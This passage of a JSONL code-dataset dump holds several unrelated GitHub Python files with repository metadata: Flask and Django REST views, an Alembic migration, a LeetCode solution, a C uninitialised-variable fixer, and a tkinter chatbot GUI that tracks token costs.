'sqlite_db'):\n        g.sqlite_db.close()\n\n\ndef init_db():\n    with app.app_context():\n        db = get_db()\n        with app.open_resource('schema.sql', mode='r') as f:\n            db.cursor().executescript(f.read())\n        db.commit()\n\ndef helloo():\n    print('Hello world.')\n\nif __name__ == '__main__':\n    app.run()     ","repo_name":"laroja/git_my","sub_path":"python/test/flaskr/flaskr.py","file_name":"flaskr.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30194589899","text":"\"\"\"\nExplanation:\n-----------\nBeware of taking integer division only while calculating the remainder for finding out the number of digits\n\nComplexity:\n----------\nTime: O(M * d) M is the number of elements in the array, d is the nmber of digits of the number\nSpace: O(1)\n\"\"\"\nclass Solution:\n    def findNumbers(self, nums: List[int]) -> int:\n        even_count = 0\n        for num in nums:\n            if num < 10:\n                continue\n            if self.is_digits_in_num_even(num):\n                even_count += 1\n\n        return even_count\n\n    def is_digits_in_num_even(self, num):\n        digit_count = 0\n        while num:\n            digit_count += 1\n            num //= 10\n\n        return digit_count % 2 == 0\n\nsolution = Solution()\nprint(solution.findNumbers([12,345,2,6,7896]))\nprint(solution.findNumbers([555,901,482,1771]))","repo_name":"verisimilitude20201/competitive-programming","sub_path":"Leet_Coding/Array/Find_number_count_with_even_digits.py","file_name":"Find_number_count_with_even_digits.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15179289497","text":"\"\"\"empty message\n\nRevision ID: ceb2d761f97d\nRevises: 2c85b60f360e\nCreate Date: 2019-04-26 12:08:33.542207\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ceb2d761f97d'\ndown_revision = '2c85b60f360e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('discussions',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('lang', sa.String(length=3), nullable=False),\n    sa.Column('title', sa.String(length=100), nullable=False),\n    sa.Column('image_path', sa.String(), nullable=True),\n    sa.Column('created_at', sa.DateTime(), nullable=False),\n    sa.Column('author_id', sa.Integer(), nullable=False),\n    sa.ForeignKeyConstraint(['author_id'], ['users.id'], name='discussions__author___fk'),\n    sa.PrimaryKeyConstraint('id')\n    )\n    op.create_table('discussions_frozen',\n    sa.Column('discussion_id', sa.Integer(), nullable=False),\n    sa.Column('frozen_at', sa.DateTime(), nullable=False),\n    sa.ForeignKeyConstraint(['discussion_id'], ['discussions.id'], name='discussions_frozen__discussion__fk'),\n    sa.PrimaryKeyConstraint('discussion_id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('discussions_frozen')\n    op.drop_table('discussions')\n    # ### end Alembic commands ###\n","repo_name":"aimanow/sft","sub_path":"src/backend/database/migrations/versions/ceb2d761f97d_.py","file_name":"ceb2d761f97d_.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15899440227","text":"from ..serializers import ReservationSerializer\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.views import APIView\nfrom ..constants.method import GET, POST, PUT, DELETE\nfrom ..models import OpenRequests, Reservation, Courses, Account\nfrom rest_framework import status\nfrom ..filters import RequestFilter\nfrom rest_framework.parsers import MultiPartParser, FormParser, JSONParser\nfrom django.utils import timezone\nfrom datetime import timedelta, datetime\n\n\n# reservations/<id>\n@api_view([\"GET\", \"DELETE\"])\ndef get_del_reservation(request, resv_id: int):\n\n    try:\n        resv = Reservation.objects.get(id=resv_id)\n    except Reservation.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n    if request.method == \"GET\":\n        serializer = ReservationSerializer(resv)\n        return Response(serializer.data, status=status.HTTP_200_OK)\n    elif request.method == \"DELETE\":\n        resv.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n# course/<course_id>/reservations\n# fdsffsdfds\n\n\n@api_view([\"GET\"])\ndef get_course_reservations(request, course_id: int):\n    all_resv = (\n        Reservation.objects.filter(course_id=course_id)\n        .exclude(status=\"Reject\")\n        .exclude(status=\"Expire\")\n    )\n    serializer = ReservationSerializer(all_resv, many=True)\n    revs = serializer.data\n    for rev in revs:\n        aid = rev[\"account_id\"]\n        acc = Account.objects.get(account_id=aid)\n        uname = acc.username\n        email = acc.email\n        rev[\"username\"] = uname\n        rev[\"email\"] = email\n    return Response(\n        {\"count\": len(revs), \"reservations\": revs},\n        status=status.HTTP_200_OK,\n    )\n\n\n# reservations/<resv_id>/status\n\n\n@api_view([\"PUT\"])\ndef update_reservation_status(request, resv_id: int):\n    try:\n        resv = Reservation.objects.get(id=resv_id)\n    except Reservation.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n    serializer = ReservationSerializer(resv, data=request.data, partial=True)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n    return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CreateReserve(APIView):\n    parser_classes = [MultiPartParser, FormParser, JSONParser]\n\n    def post(self, request, format=None):\n        print(request.data)\n        cid = request.data[\"course_id\"]\n        aid = request.data[\"account_id\"]\n        try:\n            reserve = Reservation.objects.get(course_id=cid, account_id=aid)\n            return Response(\n                {\"message\": \"This account already reserved this course\"},\n                status=status.HTTP_400_BAD_REQUEST,\n            )\n        except:\n            pass\n        serializer = ReservationSerializer(data=request.data, partial=True)\n        if serializer.is_valid():\n            # print(\"hi2\")\n            course_id = request.data[\"course_id\"]\n            course = Courses.objects.get(course_id=course_id)\n            if course.reserved_student >= course.maximum_student:\n                return Response(\n                    {\"message\": \"This course is full now.\"},\n                    status=status.HTTP_400_BAD_REQUEST,\n                )\n            serializer.save()\n            course.reserved_student += 1\n            course.save()\n            return Response(\n                {\"message\": \"Reservation Complete!\", \"Reservation\": serializer.data},\n                status=status.HTTP_201_CREATED,\n            )\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UploadPayment(APIView):\n    parser_classes = [MultiPartParser, FormParser, JSONParser]\n\n    def put(self, request, resv_id: int, format=None):\n        try:\n            resv = Reservation.objects.get(id=resv_id)\n        except Reservation.DoesNotExist:\n            return Response(\n                {\"message\": \"Reservation not found\"}, status=status.HTTP_404_NOT_FOUND\n            )\n        print(request.data)\n        modified_data = request.data\n        modified_data[\"status\"] = \"WaitForConfirm\"\n        serializer = ReservationSerializer(resv, data=modified_data, partial=True)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_200_OK)\n\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([GET])\ndef get_revid(request, account_id: int, course_id: int):\n    rev = Reservation.objects.get(account_id=account_id, course_id=course_id)\n    revid = rev.id\n    return Response({\"reservation_id\": revid}, status=status.HTTP_200_OK)\n","repo_name":"Tutor-Pop/TutorPop-Backend","sub_path":"api/views/reservation.py","file_name":"reservation.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20747678262","text":"import re\nfrom regExpUtils import *\nfrom invalidReadOrWriteFix import *\nfrom userDefinedStructuresHandler import *\nfrom initialisationUtils import *\n\ndef uninitialisedStaticVariable(err, files, structures, history):\n\t# indicator whether the fix is found or not\t\n\tindicator = 0\n\t# open and read file to get line that caused problems\n\tf = open( err.getProblemLines()[1][0], \"r\")\n\t\n\tdata = f.readlines()\n\tf.close()\n\n\taddition=''\n\t#open and read file to detect error fix\n\tf = open( err.getProblemLines()[0][0], \"r\")\n\tdata = f.readlines()\n\t\n\tif not indicator:\n\t\tfor i in range(err.getProblemLines()[0][1], len(data)):\n\t\t\tm = re.search(isBeginOfCodeBlock(),data[i])\n\t\t\tif m:\n\t\t\t\tbreak\n\t\t\tm= re.search(isSimplePointerDefinition(),data[i])\n\t\t\tif m and data[i].find('=')<0:\n\t\t\t\taddition = data[i].replace(';' , '= NULL;')\n\t\t\t\terr.setBugFix(addition)\n\t\t\t\terr.setChangedFile(err.getProblemLines()[0][0])\n\t\t\t\terr.setChangedLine(i+1)\n\t\t\t\terr.setBug(data[i])\n\t\t\t\tbreak\n\t\t\tm= re.search(isVariableDefinitionLine(),data[i])\n\t\t\tif m:\n\t\t\t\tif data[i+1].find('__index__')>=0:\n\t\t\t\t\tcontinue\n\t\t\t\telif data[i+1].find(m.group(3)+ '.')>=0:\n\t\t\t\t\tcontinue\n\t\t\t\telif data[i].find('[')>0:\n\t\t\t\t\tm = re.search(getMultidimensionalVariableDefinitionData(), data[i])\n\t\t\t\t\tif m:\n\t\t\t\t\t\tvarType = m.group(2)\n\t\t\t\t\t\tvariable = m.group(3)\n\t\t\t\t\t\texpressionData = m.group(4)\n\n\t\t\t\t\t\ttemporaryData = data[i][data[i].find(m.group(3)):]\n\t\t\t\t\t\ttemporaryLen = len(re.findall('\\[', temporaryData))\n\t\t\t\t\t\tnewExpressionData = []\n\t\t\t\t\t\tfor k in range(0,temporaryLen):\n\t\t\t\t\t\t\tnewExpressionData.append(\\\n\t\t\t\t\t\t\ttemporaryData[temporaryData.find('[')+1:temporaryData.find(']')])\t\n\t\t\t\t\t\t\ttemporaryData = temporaryData[temporaryData.find(']')+1:]\t\n\n\t\t\t\t\t\tinl = m.group(1)\n\t\t\t\t\t\tif checkStructure(varType, structures):\n\t\t\t\t\t\t\taddition = initialiseUserStructureUsingLoop(varType, variable, temporaryLen, newExpressionData, inl, files, structures, history)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\taddition = initialiseUsingLoop(varType, variable, temporaryLen, newExpressionData, inl, history)\n\t\t\t\t\t\terr.setBugFix(data[i] + addition)\n\t\t\t\telse:\n\t\t\t\t\tm = re.search(getOneDimensionalVariableDefinitionData(), data[i])\n\t\t\t\t\tif m:\n\t\t\t\t\t\tif data[i][data[i].find(m.group(2))::].find('=')<0:\n\t\t\t\t\t\t\tvarType = m.group(2)\n\t\t\t\t\t\t\tif data[i].find('*')>=0:\n\t\t\t\t\t\t\t\taddition = data[i].replace(';' , '= NULL;')\n\t\t\t\t\t\t\t\terr.setBugFix(addition)\n\t\t\t\t\t\t\telif checkStructure(varType, structures):\n\t\t\t\t\t\t\t\tvariable=m.group(3)\n\t\t\t\t\t\t\t\tinl = m.group(1)\n\t\t\t\t\t\t\t\taddition = data[i] + \\\n\t\t\t\t\t\t\t\tinitialiseStructure(varType, variable, inl, files, structures, history)\n\t\t\t\t\t\t\t\terr.setBugFix(addition)\n\t\t\t\t\t\t\telif initialise(varType)!= 'Invalid':\n\t\t\t\t\t\t\t\taddition = data[i].replace(';' , '= ' + initialise(varType) + ';')\n\t\t\t\t\t\t\t\terr.setBugFix(addition)\n\n\t\t\t\tif addition:\n\t\t\t\t\terr.setChangedFile(err.getProblemLines()[0][0])\n\t\t\t\t\terr.setChangedLine(i+1)\n\t\t\t\t\terr.setBug(data[i])\t\t\n\t\t\t\t\tbreak\n\n\t\tif (addition, err.getChangedLine(), err.getChangedFile()) not in history:\n\t\t\thistory.append((addition, err.getChangedLine(), err.getChangedFile()))\n\t\t\tindicator = 1\n\n\tf.close()\n\ndef uninitialisedDinamicllyAllocatedVariable(err, files, structures, history):\n\n\tfor file in files:\n\t\tf = open( file, \"r\")\n\t\tdata = f.readlines()\n\t\tf.close()\n\t\tlineCausedProblems = ''\n\t\taddition=''\n\n\t\tfor elem in err.getProblemLines():\n\t\t\t# case where we have to initialise dinamicaly allocated memory\n\t\t\tm = re.search(lineContainingDinamicAlocationFunction(), data[elem[1]-1])\n\t\t\tif m:\n\t\t\t\terr.setChangedFile(file)\n\t\t\t\tlineCausedProblems = data[elem[1] - 1]\n\t\t\t\terr.setChangedLine(elem[1])\n\t\t\t\tbreak\n\t\t\t\n\t\t\t# case where user just deffined variable, and haven't allocated memory so we have to initialise it with NULL\n\t\t\tm = re.search(isSimplePointerDefinition(), data[elem[1]-1])\n\t\t\tif m:\n\t\t\t\terr.setChangedFile(file)\n\t\t\t\tlineCausedProblems = data[elem[1] - 1]\n\t\t\t\terr.setChangedLine(elem[1])\n\t\t\t\terr.setBug(lineCausedProblems)\n\t\t\t\taddition = lineCausedProblems[0:lineCausedProblems.find(';')] + '= NULL;\\n'\n\t\t\t\tbreak\n\n\t\tif addition and (addition, err.getChangedLine(), err.getChangedFile()) not in history:\n\t\t\thistory.append((addition, err.getChangedLine(), err.getChangedFile()))\t\t\n\t\t\t# set what should be changed\n\t\t\terr.setBug(lineCausedProblems)\n\t\t\terr.setBugFix(addition)\n\t\t\tbreak\n\n\t\tm = re.search(simpleLineWithDinamicMemoryAlocationDefinition(), lineCausedProblems)\n\t\tif m and not addition and m.group(1)=='malloc':\n\t\t\texpressionData = m.group(2).replace('(', '', 1)[::-1].replace(')', '', 1)[::-1].strip()\n\t\t\texpressionData = re.sub(sizeArgumentForDinamicMemoryAlocationFunctions(), '1' , expressionData)\n\t\t\tstart = lineCausedProblems.find('*')\n\t\t\tend = lineCausedProblems.find('=')\n\t\t\tvarType = lineCausedProblems[0:start].strip()\n\t\t\tinl = lineCausedProblems[0:start - len(varType) - 1]\n\t\t\tvariable = lineCausedProblems[lineCausedProblems.find('*') + 1 : lineCausedProblems.find('=')]\n\t\t\t\n\t\t\tif initialise(varType)!= 'Invalid':\n\t\t\t\tif not re.findall('[a-zA-Z]+', expressionData) and int(eval(expressionData)) == 1:\n\t\t\t\t\taddition = inl + lineCausedProblems[start:end] + \" = \" + initialise(varType) + ';'\n\t\t\t\telse:\n\t\t\t\t\taddition = initialiseUsingLoop(varType, variable, 1, [expressionData], inl, history)\n\t\tif m and not addition and m.group(1)=='realloc':\n\t\t\texpressionData = m.group(2)[m.group(2).find(',')+1:m.group(2).rfind(')')]\n\t\t\tvarType = expressionData[expressionData.find('sizeof'):]\n\t\t\tvarType = varType[varType.find('(')+1: varType.find(')')].strip()\n\t\t\tchar = re.search('([a-zA-z])', lineCausedProblems).group(1)\n\t\t\tinl = lineCausedProblems[0:lineCausedProblems.find(char)]\n\t\t\texpressionData = re.sub(sizeArgumentForDinamicMemoryAlocationFunctions(), '1' , expressionData)\n\t\t\tvariable = m.group(2)[m.group(2).find('(')+1:m.group(2).find(',')].strip()\n\t\t\tvariable = re.sub('\\*', '' , variable)\n\t\t\tif initialise(varType)!= 'Invalid':\n\t\t\t\tif not re.findall('[a-zA-Z]+', expressionData) and int(eval(expressionData)) == 1:\n\t\t\t\t\taddition = lineCausedProblems[start:end] + \" = \" + initialise(varType) + ';'\n\t\t\t\telse:\n\t\t\t\t\taddition = initialiseUsingLoop(varType, variable, 1, [expressionData], inl, history)\n\n\t\tif addition and (addition, err.getChangedLine(), err.getChangedFile()) not in history:\n\t\t\thistory.append((addition, err.getChangedLine(), err.getChangedFile()))\t\t\n\t\t\t# set what should be changed\n\t\t\terr.setBug(lineCausedProblems)\n\t\t\terr.setBugFix(lineCausedProblems + addition )\n\t\t\tbreak\n\t\t\n\t\t# if statement \n\t\tm = re.search(lineContainingDinamicAlocationFunction(), lineCausedProblems)\n\t\tif m and not addition and m.group(1)=='malloc':\n\n\t\t\t# here we get varType, variable, expressionData and inl\n\t\t\tstart = lineCausedProblems.find('sizeof(') + 7\n\t\t\tend = lineCausedProblems[start:].find(')')\n\t\t\tvarType = lineCausedProblems[start:][0:end]\n\t\t\tn = re.search(complexLineWithDinamicMemoryAlocationDefinition(), lineCausedProblems)\n\t\t\tif n:\n\t\t\t\tinl = n.group(1)\n\t\t\t\tvariable = n.group(2)\n\t\t\t\texpressionData = re.sub(sizeArgumentForDinamicMemoryAlocationFunctions(), '1' , n.group(4))\n\t\t\t\tif expressionData.find(')')>=0:\n\t\t\t\t\texpressionData = expressionData[0:expressionData.find(')')]\t\n \n\t\t\t# here we find where to add initialisation code\n\t\t\tindicator = 0\n\t\t\tif m.group(2).find('!=')>=0:\n\t\t\t\taddition = '\\t' + initialiseUsingLoop(varType, variable, 1, [expressionData], inl + '\\t', history)\n\t\t\telif m.group(2).find('==')>=0:\n\t\t\t\taddition = lineCausedProblems.replace('==' , '!=')\n\t\t\t\taddition += inl + '\\t'\n\t\t\t\taddition += initialiseUsingLoop(varType, variable, 1, [expressionData], inl + '\\t' , history)\n\t\t\t\taddition += inl + '}\\n'\n\t\t\t\taddition = lineCausedProblems.replace(lineCausedProblems, addition) + \\\n\t\t\t\t\t   lineCausedProblems.replace(lineCausedProblems.lstrip() , 'else ') + \\\n\t\t\t\t\t   'if (' + variable + '==NULL)'\n\t\t\t\tif lineCausedProblems.find('{')>=0:\n\t\t\t\t\taddition += '{\\n'\n\t\t\t\telse:\n\t\t\t\t\taddition += '\\n'\n\t\t\t\tindicator = 1;\n\t\t\telse:\n\t\t\t\taddition = lineCausedProblems.replace(lineCausedProblems.lstrip(), 'if (' + variable + '!=NULL)')\n\t\t\t\taddition += inl + '\\t'\n\t\t\t\taddition += initialiseUsingLoop(varType, variable, 1, [expressionData], inl + '\\t' , history)\n\t\t\t\n\t\t\tif addition and (addition, err.getChangedLine(), err.getChangedFile()) not in history:\n\t\t\t\thistory.append((addition, err.getChangedLine(), err.getChangedFile()))\t\t\n\t\t\t\t# set what should be changed\n\t\t\t\terr.setBug(lineCausedProblems)\n\t\t\t\tif indicator:\n\t\t\t\t\terr.setBugFix(addition)\n\t\t\t\telse:\n\t\t\t\t\terr.setBugFix(lineCausedProblems + lineCausedProblems.replace(lineCausedProblems.strip() , addition))\n\t\t\t\tbreak\t\t\n\n\ndef initialiseUsingLoop(varType, variable, length, expressionData, inl, history):\n\tcount = 0\n\taddition = inl\n\tindex = []\n\t\n\tfor line in history:\n\t\tsearchLine = line[0]\n\t\twhile re.findall('int __index__', searchLine):\n\t\t\t\n\t\t\tsearchLine = searchLine[searchLine.find('int __index__')+len('int __index__'):]\n\t\t\tcount += 1\n\n\tfor i in range(0,length):\n\t\tif count:\n\t\t\taddition += 'int __index' + str(count+1) + '__;\\n' + inl\n\t\t\tindex.append( '__index' + str(count+1) + '__')\n\t\t\tcount +=1\n\t\telse:\n\t\t\taddition += 'int '+ '__index__' +';\\n' + inl\n\t\t\tindex.append( '__index__')\n\t\t\tcount += 1\n\t\t\n\tif re.findall('[a-zA-Z]+', inl):\n\t\tinl = ''\n\n\taddition = addition[0:addition.rfind(inl)]\n\n\tfor i in range(0,length):\n\t\tif not re.findall('[a-zA-Z]+', expressionData[i]):\n\t\t\texpressionData[i] = str(int(eval(expressionData[i])))\n\n\t\tfor j in range(0,i+1):\n\t\t\taddition += inl\n\n\t\taddition += 'for( '+ index[i] +' = 0; ' + index[i] +' < ' + expressionData[i] + '; ' \\\n\t\t\t+ index[i] + ' ++)\\n'\n\n\tfor i in range(0,length+1):\n\t\taddition += inl\n\t\n\tarrayIndex = ''\n\tfor i in range(0,length):\n\t\tarrayIndex += '[' + index[i] + ']'\n\n\taddition +=  variable.strip() + arrayIndex + ' = ' + initialise(varType) + ';\\n'\n\n\treturn addition\t\n\n","repo_name":"LMladenovic/Error_fixing_tool","sub_path":"utils/uninitialisedFix.py","file_name":"uninitialisedFix.py","file_ext":"py","file_size_in_byte":9676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24289216666","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import scrolledtext, filedialog\nfrom tkinter import N, S, E, W\nfrom tkhtmlview import HTMLLabel\nimport markdown\nimport requests\nimport tiktoken\nimport os\nimport shutil\n\nfrom tokenizer.tokens import calculate_cost\nfrom chatbot import run_conversation\n\nfrom agents.image_agent import ImageAgent\nfrom agents.csv_agent import CSVHandler\n\nfrom constants import *\nDIRECTORIES = [\n    KB_DIR, \n    HISTORY_DIR, \n    CSV_DIR, \n    IMG_DIR, \n    CODE_DIR, \n    LOG_DIR, \n    DATA_DIR, \n    PROJECTS_DIR\n    ]\n\n\nclass FileManager:\n    def __init__(self, chat_tab, root):\n        self.chat_tab = chat_tab\n        self.root = root.root\n        self.image_agent = ImageAgent()\n        self.csv_agent = CSVHandler()\n        # Check if directories exist and create them if they don't\n        for directory in DIRECTORIES:\n            os.makedirs(directory, exist_ok=True)\n        \n    def upload_image(self):\n        image_file_path = filedialog.askopenfilename(filetypes=[(\"Image Files\", \"*.png *.jpg *.jpeg\")])\n        if image_file_path:\n            target_directory = IMG_DIR\n            target_file_path = os.path.join(target_directory, os.path.basename(image_file_path))\n            shutil.copy(image_file_path, target_file_path)\n            \n            caption = self.image_agent.image_to_text(image_file_path)\n            \n            message_html = f'<p style=\"background-color: lightblue;\">Bot: {os.path.basename(image_file_path)} was added to image folder<br/>The caption is: {caption}</p><br/>'\n\n            self.chat_tab.current_html += message_html\n            self.chat_tab.text_area.set_html(self.chat_tab.current_html)\n\n            self.chat_tab.conversation.append({\n                \"role\": \"assistant\",\n                \"content\": f'Bot: Image: {os.path.basename(image_file_path)} was added to image folder\\nThe capition is: {caption}\\n',  # directly add function response to the conversation\n            })\n            \n    def upload_csv(self):\n        csv_file_path = filedialog.askopenfilename(filetypes=[(\"CSV Files\", \"*.csv\")])\n        if csv_file_path:\n            target_directory = CSV_DIR\n            target_file_path = os.path.join(target_directory, os.path.basename(csv_file_path))\n            shutil.copy(csv_file_path, target_file_path)\n            \n            columns = self.csv_agent.read_csv_columns(csv_file_path)\n\n            self.chat_tab.text_area.insert(tk.INSERT, f'{columns}\\n', \"bot\")\n            self.chat_tab.conversation.append({\n                \"role\": \"assistant\",\n                \"content\": f'Bot: {os.path.basename(csv_file_path)} was added to CSV folder\\nThe columns are: {columns}\\n',  # directly add function response to the conversation\n            })\n\nclass AIManager:\n    def __init__(self, chat_tab, root):\n        self.chat_tab = chat_tab\n        self.root = root.root\n\n    def run_chat(self, event=None):\n        user_input = self.chat_tab.user_input_text.get(\"1.0\", tk.END).strip()\n        encoding = tiktoken.encoding_for_model(\"gpt-4-0613\")\n        num_tokens = len(encoding.encode(user_input))\n\n        self.chat_tab.total_tokens += num_tokens\n        cost = calculate_cost(num_tokens, model=\"gpt-4-0613\")\n        self.chat_tab.total_cost += cost\n\n        html = markdown.markdown(user_input)\n        user_input_html = f'<p style=\"background-color: lightgray;\">You: {html}</p><br/>'\n\n        self.chat_tab.current_html += user_input_html\n        self.chat_tab.text_area.set_html(self.chat_tab.current_html)\n\n        self.chat_tab.user_input_text.delete(\"1.0\", tk.END)\n\n        self.chat_tab.is_loading = True\n\n        self.handle_model_response(user_input)\n\n    def handle_model_response(self, user_input):\n        try:\n            response, _, tokens, cost = run_conversation(user_input, self.chat_tab.conversation)\n        except requests.exceptions.RequestException as e:\n            response = \"Oops! A network error occurred, please try again later.\"\n            print(e)\n        except Exception as e:\n            response = f\"Oops! An error occurred: {str(e)}\"\n\n        self.root.after(0, self.chat_tab.update_text_area, response)\n        self.chat_tab.text_area.see(\"end\")  # Scrolls to the end of the text_area\n\n        self.chat_tab.total_tokens += tokens\n        self.chat_tab.total_cost += cost\n\n        ## Add tokens and cost to chat sidebar\n        self.chat_tab.total_token_count.set(f\"Total tokens: {self.chat_tab.total_tokens}\")\n        self.chat_tab.total_cost_of_input.set(f\"Total cost: {self.chat_tab.total_cost}$\")\n\n        self.chat_tab.is_loading = False\n\nclass ChatTab:\n    def __init__(self, parent, chat_window):\n        self.root = parent\n        self.chat_window = chat_window\n        # Initialize variables\n        self.conversation = []\n        self.current_html = \"\"\n        self.is_loading = False\n        self.total_tokens = 0\n        self.total_cost = 0\n        self.total_token_count = tk.StringVar(value=f\"Total tokens: {self.total_tokens}\")\n        self.total_cost_of_input = tk.StringVar(value=f\"Total cost: {self.total_tokens}$\")\n        \n        # Initialize AI Manager early\n        self.ai_manager = AIManager(self, self.root)\n        \n        # Initialize file manager\n        self.file_manager = FileManager(self, self.root)\n        \n        self.create_widgets_chat()\n\n    def create_widgets_chat(self):\n        self.chat_window.grid_rowconfigure(0, weight=1)  \n        self.chat_window.grid_columnconfigure(0, weight=0)  \n        self.chat_window.grid_columnconfigure(1, weight=0)  \n        self.chat_window.grid_columnconfigure(2, weight=4)  \n        ttk.Label(self.chat_window, text =\"Chatbot\").grid(column = 0, row = 0, padx = 30, pady = 30, sticky='nsew') \n        self.create_chat_sidebar(self.chat_window)\n        self.create_chat_main(self.chat_window)\n\n        # bind 'Enter' to run_chat function in Tab 1 only\n        self.chat_window.bind('<Return>', self.ai_manager.run_chat)\n\n    def create_chat_sidebar(self, parent):\n        self.sidebar = ttk.Frame(parent, width=200)\n        self.sidebar.grid(row=0, column=0, sticky='ns')\n        parent.grid_columnconfigure(0, minsize=200)  # column index of sidebar\n        # Add a widget to make the sidebar visible. Adjust as necessary for your design.\n        sidebar_label = ttk.Label(self.sidebar, text=\"Sidebar\")\n        sidebar_label.pack()\n        \n        # Add a reset button\n        reset_button = ttk.Button(self.sidebar, text='Reset Conversation', command=self.reset_conversation, style='TButton')\n        reset_button.pack()\n        \n        # Add an image upload button\n        upload_button = ttk.Button(self.sidebar, text='Upload Image', command=self.file_manager.upload_image, style='TButton')\n        upload_button.pack()\n        \n        # Add a csv upload button\n        upload_csv_button = ttk.Button(self.sidebar, text='Upload CSV', command=self.file_manager.upload_csv, style='TButton')\n        upload_csv_button.pack()\n        \n        # Add a display for total token count and cost\n        self.total_token_count = tk.StringVar()\n        self.total_token_count.set(\"Total tokens: 0\")\n        total_token_count_label = ttk.Label(self.sidebar, textvariable=self.total_token_count)\n        total_token_count_label.pack()\n        \n        self.total_cost_of_input = tk.StringVar()\n        self.total_cost_of_input.set(\"Total cost: 0$\")\n        total_cost_of_input_label = ttk.Label(self.sidebar, textvariable=self.total_cost_of_input)\n        total_cost_of_input_label.pack()\n        \n\n    def create_chat_main(self, parent):\n        main_frame = ttk.Frame(parent)\n        main_frame.grid(row=0, column=2, sticky=N+S+E+W)\n        main_frame.grid_rowconfigure(0, weight=1)\n        main_frame.grid_columnconfigure(0, weight=1)\n\n        self.create_text_area(main_frame)\n        self.create_input_area(main_frame)\n\n    def create_text_area(self, frame):\n        self.text_area = HTMLLabel(frame, html=\"<p>Welcome to the chat!</p>\", background=\"oldlace\", font=('Ubuntu', 16))\n        self.text_area.grid(row=0, column=0, sticky='nsew')\n        self.current_html = \"<p>Welcome to the chat!</p>\"  # Initialize with the same content as the label\n\n    def update_token_count(self, event):\n        # First, we reset the modified flag so the function doesn't run in a loop\n        self.user_input_text.edit_modified(False)\n\n        # Get the content of the text field\n        content = self.user_input_text.get('1.0', 'end-1c')\n\n        if content.strip() == \"\":\n            # If the content is empty, manually set the token count and cost to 0\n            token_count = 0\n            input_cost = 0.0\n        else:\n            # Otherwise, calculate the token count and input cost\n            token_count, input_cost = self.num_tokens_from_messages([{\"content\": content}])\n\n        # Update the token_count StringVar\n        self.token_count.set(f\"Input token count: {token_count}\")\n\n        # Update the cost StringVar\n        self.cost_of_input.set(f\"Cost of input: {input_cost:.6f}$\")\n\n    def num_tokens_from_messages(self, messages, model=\"gpt-4-0613\"):\n        \"\"\"Return the number of tokens used by a list of messages.\"\"\"\n        try:\n            encoding = tiktoken.encoding_for_model(model)\n        except KeyError:\n            print(\"Warning: model not found. Using cl100k_base encoding.\")\n            encoding = tiktoken.get_encoding(\"cl100k_base\")\n        if model in {\n            \"gpt-3.5-turbo-0613\",\n            \"gpt-3.5-turbo-16k-0613\",\n            \"gpt-4-0314\",\n            \"gpt-4-32k-0314\",\n            \"gpt-4-0613\",\n            \"gpt-4-32k-0613\",\n            }:\n            tokens_per_message = 3\n            tokens_per_name = 1\n        elif model == \"gpt-3.5-turbo-0301\":\n            tokens_per_message = 4  # every message follows <|start|>{role/name}\\n{content}<|end|>\\n\n            tokens_per_name = -1  # if there's a name, the role is omitted\n        elif \"gpt-3.5-turbo\" in model:\n            print(\"Warning: gpt-3.5-turbo may update over time. Returning num tokens assuming gpt-3.5-turbo-0613.\")\n            return self.num_tokens_from_messages(messages, model=\"gpt-3.5-turbo-0613\")\n        elif \"gpt-4\" in model:\n            print(\"Warning: gpt-4 may update over time. Returning num tokens assuming gpt-4-0613.\")\n            return self.num_tokens_from_messages(messages, model=\"gpt-4-0613\")\n        else:\n            raise NotImplementedError(\n                f\"\"\"num_tokens_from_messages() is not implemented for model {model}. See https://github.com/openai/openai-python/blob/main/chatml.md for information on how messages are converted to tokens.\"\"\"\n            )\n        num_tokens = 0\n        for message in messages:\n            num_tokens += tokens_per_message\n            for key, value in message.items():\n                num_tokens += len(encoding.encode(value))\n                if key == \"name\":\n                    num_tokens += tokens_per_name\n        num_tokens += 3  # every reply is primed with <|start|>assistant<|message|>\n        # Calculate cost of tokens\n        if model is not None:\n            if model == \"gpt-3.5-turbo-0613\":\n                cost_per_token = 0.0000015\n            elif model == \"gpt-3.5-turbo-16k-0613\":\n                cost_per_token = 0.000003\n            elif model == \"gpt-4-0314\":\n                cost_per_token = 0.00003\n            elif model == \"gpt-4-32k-0314\":\n                cost_per_token = 0.00003\n            elif model == \"gpt-4-0613\":\n                cost_per_token = 0.00003\n            elif model == \"gpt-4-32k-0613\":\n                cost_per_token = 0.00003\n            elif model == \"gpt-4\":\n                cost_per_token = 0.00003\n            else:\n                raise NotImplementedError(\n                    f\"\"\"num_tokens_from_messages() is not implemented for model {model}.\"\"\"\n                )\n            cost = num_tokens * cost_per_token\n        return num_tokens, cost\n\n    def create_input_area(self, frame):\n        bottom_frame = 